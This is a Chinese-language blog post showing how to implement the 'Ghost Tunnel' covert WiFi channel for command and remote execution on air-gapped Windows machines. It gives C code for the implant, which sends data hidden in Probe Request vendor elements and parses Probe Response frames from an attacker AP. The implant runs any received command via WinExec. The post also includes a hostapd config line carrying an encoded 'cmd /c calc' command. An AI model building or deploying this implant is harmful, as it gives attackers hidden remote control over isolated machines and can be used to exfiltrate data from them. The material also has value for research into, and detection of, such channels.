1. 程式人生 > >基於Ghost Tunnel的實踐,實現Air Gapping環境下的通訊與遠端執行

基於Ghost Tunnel的實踐,實現Air Gapping環境下的通訊與遠端執行

Ghost Tunnel技術相關介紹請參考:Ghost Tunnel:適用於隔離網路的WiFi隱蔽傳輸通道》

通過文章我們知道,實現這種攻擊需要滿足一下條件:

  1. 需要在目標機中植入客戶端程式,用以接收指令和傳送目標機資訊到控制端,植入方式可以為遠端植入、現場植入;
  2. 目標機需要具備無線網路介面卡,一般筆記本是自帶無線網絡卡的,其它情況可以插入USB無線網絡卡實現;
  3. 目標機發送資料利用的是Probe Request幀實現,將待發送的資料附加到Probe Request幀中,封裝成有效載荷併發送;
  4. 目標機接收資料利用的是Probe Response幀實現,以同樣的方式附加有效載荷到Probe Response幀中;

實踐平臺環境:

目標機:IBM 筆記本 windows 7 x64系統

控制機:Ubuntu x64系統

控制端程式:hostapd

根據相關文件介紹,有效載荷的資料儲存結構如下:

Element IDPayload LengthPayload
1 byte1 byte0-240
對此設計資料結構:
#include <PshPack1.h>
struct ie_data  
{
	unsigned char id;
	unsigned char len;
	unsigned char val[1];
};
#include <PopPack.h>

資料結構要1位元組對齊。

在windows平臺,傳送、接收資料用到的API主要有一下幾個:

WlanEnumInterfaces

WlanScan

WlanGetNetworkBssList

這裡貼出封裝傳送Payload的主要程式碼:

struct ie_data		*piedata = NULL;
int			response_len = 0;
char			*response = NULL;

response_len = sizeof(WLAN_RAW_DATA) -1 + sizeof(struct ie_data) -1 + len;
response = (char *)malloc(response_len);
memset(response, '\0', response_len);

pwlan_data = (PWLAN_RAW_DATA)response;
pwlan_data->dwDataSize = sizeof(struct ie_data) - 1 + len;
piedata = (struct ie_data *)&pwlan_data->DataBlob[0];
piedata->id = (char)221;
piedata->len = len;
memcpy(&piedata->val[0], buf, len);

這裡的221(0xDD)根據MSDN文件介紹設定,buf為需要傳送的資料(最大長度240位元組),len為資料長度;將封裝好的payload附加到Probe Request幀的最後傳送出去,通過wireshark抓包來檢視傳送的情況,如下圖所示:


主控端為使用hostapd建立的一個AP熱點,AP熱點的SSID為ghosttunnel,所以這裡的SSID為ghosttunnel,傳送的內容為“command ok.”

主控端傳送資料(指令)可以通過hostapd配置檔案中的vendor_elements欄位來實現:

vendor_elements=dd0e636363636d64202f632063616c63

其中dd為Element ID,0e為Payload的長度,636363636d64202f632063616c63為傳送的指令字串的十六進位制形式,實際字串為:"ccccmd /c calc",該指令字串前面之所以有“ccc”,是以此作為一個簡單的magic,在接收指令時通過該“magic”判斷是否為主控端傳送的指令,也可通過其它內容作為magic,看具體實現。

下圖是通過wireshark抓包到的控制端傳送的Probe Response幀資料,從中可以清晰的看到傳送的指令:


這裡貼出接收Probe Response幀並解析出指令的程式碼,我們需要從多個Tag中解析出含有指令的Tag項:

if (stricmp((char *)bss_entry->dot11Ssid.ucSSID, "ghosttunnel") == 0)
{
	char *pp = (char *)((unsigned long)bss_entry + bss_entry->ulIeOffset);
	int total_size = bss_entry->ulIeSize;

	for (;;)
	{
		ie = (struct ie_data *)pp;
		if ((int)ie->id == 221)
		{
			// eg. "ccccmd /c calc"
			char *magic = (char *)&ie->val[0];
			if (strncmp(magic, "ccc", 3) == 0)
			{
				char command[240] = {0};
				strncpy(command, magic + 3, ie->len - 3);
				WinExec(command, SW_NORMAL);
				break;
			}
		}
		pp += sizeof(struct ie_data) - 1 + (int)ie->len;
		total_size -= sizeof(struct ie_data) - 1 + (int)ie->len; 
		if (!total_size)
		{
			break;	// over
		}
	}
}
通過一個迴圈從Probe Response幀中找到Payload的資料並執行指令。